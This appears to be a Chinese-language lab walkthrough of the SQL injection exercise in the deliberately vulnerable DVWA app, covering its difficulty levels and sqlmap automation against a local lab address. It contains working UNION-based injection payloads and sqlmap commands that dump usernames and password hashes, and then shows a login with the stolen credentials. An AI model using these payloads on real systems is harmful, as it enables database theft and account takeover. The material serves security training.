- SQL Injection(回显注入)
- 1. Low
- 2.Medium
- 3. High
- 4.Impossible
- 5.运用sqlmap自动化注入
- 1.查看信息
- 2.查看数据库名
- 3.查看表名
- 4.查看字段名
- 5.查看字段数据
- 登录
注入思路:
是否有注入?是字符型还是数字型?查看回显位
1. Low源码关键语句
$query = "SELECt first_name, last_name FROM users WHERe user_id = '$id';";
通过查询语句可以看到,它是根据限制user_id字段来回显数据的,
我们的可控位置就是$id这个变量
可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入
例如
$query = “SELECt first_name, last_name FROM users WHERe user_id = ‘1’ union select user,password from users #’;”;
获取表长度
1’ order by n #
获取当前数据库
-1’ union select database(),version() #
查询database里的表名
information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。
-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #
查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #
查看字段数据
-1’ union select user,password from users #
只能选择固定的几个数字
添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符
查看源码发现是数字型注入
可以用burp抓包,在burp里注入
burp重复Low级的 *** 作,但是注意是数字型数据,所以不要用单引号闭合
3. High多了LIMIT 1,SELECT只能执行一条查询语句。
绕过非常简单,只要#注释掉后面的语句就行了。
在搜索框或者burp实行和Low级别一样的 *** 作就行了。
4.Impossible只能输入数字,不可能产生注入。
5.运用sqlmap自动化注入 1.查看信息首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"
结果:
可以查看到靶机的一些信息。
2.查看数据库名–dbs参数代表查看存在的数据库名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs
结果:
3.查看表名-D指定数据库名为dvwa,–tables查看表名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables
结果:
user表明显是存放用户数据的表,所以下一步查看此表数据
4.查看字段名-T指定表名,–columns 查看字段名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns
结果:
可以查看存在password字段
5.查看字段数据-C指定查看的字段名,–dump查看字段数据
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump
结果:
登录尝试拿获取的数据登录
登陆成功,用户名为gordonb
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)